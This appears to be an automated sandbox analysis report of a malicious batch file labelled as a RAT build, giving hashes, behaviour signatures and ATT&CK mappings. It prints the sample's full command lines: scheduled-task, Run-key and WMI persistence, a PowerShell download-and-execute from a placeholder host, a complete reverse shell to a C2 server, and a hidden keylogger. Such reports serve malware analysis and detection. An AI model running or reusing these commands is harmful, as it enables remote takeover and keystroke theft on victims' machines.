Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 01:38
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_179574_014501.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_179574_014501.bat
Resource
win11-20260513-en
General
- Target rat_build_179574_014501.bat
- Size 4KB
- Sample260529-b2dx8ag151
- SHA256 d779314751bb0458e4eee7e3690034bf17a972d52d134c60189c9e243533b130
- MD5 0614c5ca5ff2ec951faa46f7d11c0345
- SHA1 2746be7313c4aa95f1db606453f27c6c7cfb0968
- SHA512 7bfe950e528f238edf8c98a44b7f432dd9b6f98efc2ae1160965ac18e3072b664c0704897c512344e3d787eefe8aad2cb01108eb22fc4ff692c52823340063da
- SSDEEP 96:lIlI8Wau4am9BVi0xLi718S6rcGN8serd/TgRBHiFgZk8mvlo1GPlCE:lnHau4am9B0pn6n8bd/T6iFgkHl/CE
- TLSH T1C3A1E6135787B020D5B01958ED32784C97ACEAFB1348D99EFA9888C41A4CE47A9586EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_179574.ps1
Signatures
-
pid Process 3796 powershell.exe 2632 powershell.exe 1036 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_179574 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_179574.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3880 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3804 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4332 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3376 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3796 powershell.exe 3796 powershell.exe 2632 powershell.exe 2632 powershell.exe 1036 powershell.exe 1036 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4412 WMIC.exe Token: SeSecurityPrivilege 4412 WMIC.exe Token: SeTakeOwnershipPrivilege 4412 WMIC.exe Token: SeLoadDriverPrivilege 4412 WMIC.exe Token: SeSystemProfilePrivilege 4412 WMIC.exe Token: SeSystemtimePrivilege 4412 WMIC.exe Token: SeProfSingleProcessPrivilege 4412 WMIC.exe Token: SeIncBasePriorityPrivilege 4412 WMIC.exe Token: SeCreatePagefilePrivilege 4412 WMIC.exe Token: SeBackupPrivilege 4412 WMIC.exe Token: SeRestorePrivilege 4412 WMIC.exe Token: SeShutdownPrivilege 4412 WMIC.exe Token: SeDebugPrivilege 4412 WMIC.exe Token: SeSystemEnvironmentPrivilege 4412 WMIC.exe Token: SeRemoteShutdownPrivilege 4412 WMIC.exe Token: SeUndockPrivilege 4412 WMIC.exe Token: SeManageVolumePrivilege 4412 WMIC.exe Token: 33 4412 WMIC.exe Token: 34 4412 WMIC.exe Token: 35 4412 WMIC.exe Token: 36 4412 WMIC.exe Token: SeIncreaseQuotaPrivilege 4412 WMIC.exe Token: SeSecurityPrivilege 4412 WMIC.exe Token: SeTakeOwnershipPrivilege 4412 WMIC.exe Token: SeLoadDriverPrivilege 4412 WMIC.exe Token: SeSystemProfilePrivilege 4412 WMIC.exe Token: SeSystemtimePrivilege 4412 WMIC.exe Token: SeProfSingleProcessPrivilege 4412 WMIC.exe Token: SeIncBasePriorityPrivilege 4412 WMIC.exe Token: SeCreatePagefilePrivilege 4412 WMIC.exe Token: SeBackupPrivilege 4412 WMIC.exe Token: SeRestorePrivilege 4412 WMIC.exe Token: SeShutdownPrivilege 4412 WMIC.exe Token: SeDebugPrivilege 4412 WMIC.exe Token: SeSystemEnvironmentPrivilege 4412 WMIC.exe Token: SeRemoteShutdownPrivilege 4412 WMIC.exe Token: SeUndockPrivilege 4412 WMIC.exe Token: SeManageVolumePrivilege 4412 WMIC.exe Token: 33 4412 WMIC.exe Token: 34 4412 WMIC.exe Token: 35 4412 WMIC.exe Token: 36 4412 WMIC.exe Token: SeIncreaseQuotaPrivilege 4324 WMIC.exe Token: SeSecurityPrivilege 4324 WMIC.exe Token: SeTakeOwnershipPrivilege 4324 WMIC.exe Token: SeLoadDriverPrivilege 4324 WMIC.exe Token: SeSystemProfilePrivilege 4324 WMIC.exe Token: SeSystemtimePrivilege 4324 WMIC.exe Token: SeProfSingleProcessPrivilege 4324 WMIC.exe Token: SeIncBasePriorityPrivilege 4324 WMIC.exe Token: SeCreatePagefilePrivilege 4324 WMIC.exe Token: SeBackupPrivilege 4324 WMIC.exe Token: SeRestorePrivilege 4324 WMIC.exe Token: SeShutdownPrivilege 4324 WMIC.exe Token: SeDebugPrivilege 4324 WMIC.exe Token: SeSystemEnvironmentPrivilege 4324 WMIC.exe Token: SeRemoteShutdownPrivilege 4324 WMIC.exe Token: SeUndockPrivilege 4324 WMIC.exe Token: SeManageVolumePrivilege 4324 WMIC.exe Token: 33 4324 WMIC.exe Token: 34 4324 WMIC.exe Token: 35 4324 WMIC.exe Token: 36 4324 WMIC.exe Token: SeIncreaseQuotaPrivilege 4324 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4776 wrote to memory of 3376 4776 cmd.exe 84 PID 4776 wrote to memory of 4332 4776 cmd.exe 85 PID 4776 wrote to memory of 4412 4776 cmd.exe 86 PID 4776 wrote to memory of 4324 4776 cmd.exe 87 PID 4776 wrote to memory of 2956 4776 cmd.exe 88 PID 4776 wrote to memory of 3804 4776 cmd.exe 89 PID 4776 wrote to memory of 3880 4776 cmd.exe 93 PID 4776 wrote to memory of 3796 4776 cmd.exe 94 PID 4776 wrote to memory of 2632 4776 cmd.exe 95 PID 4776 wrote to memory of 1036 4776 cmd.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_179574_014501.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_179574" /tr "C:\Users\Admin\AppData\Local\Temp\_179574.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3376
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_179574" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_179574.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4332
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_179574", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_179574", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_179574.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4324
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_179574.txt2⤵PID:2956
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:3804
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_179574.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2632
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1036
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5owqs0y.kz1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH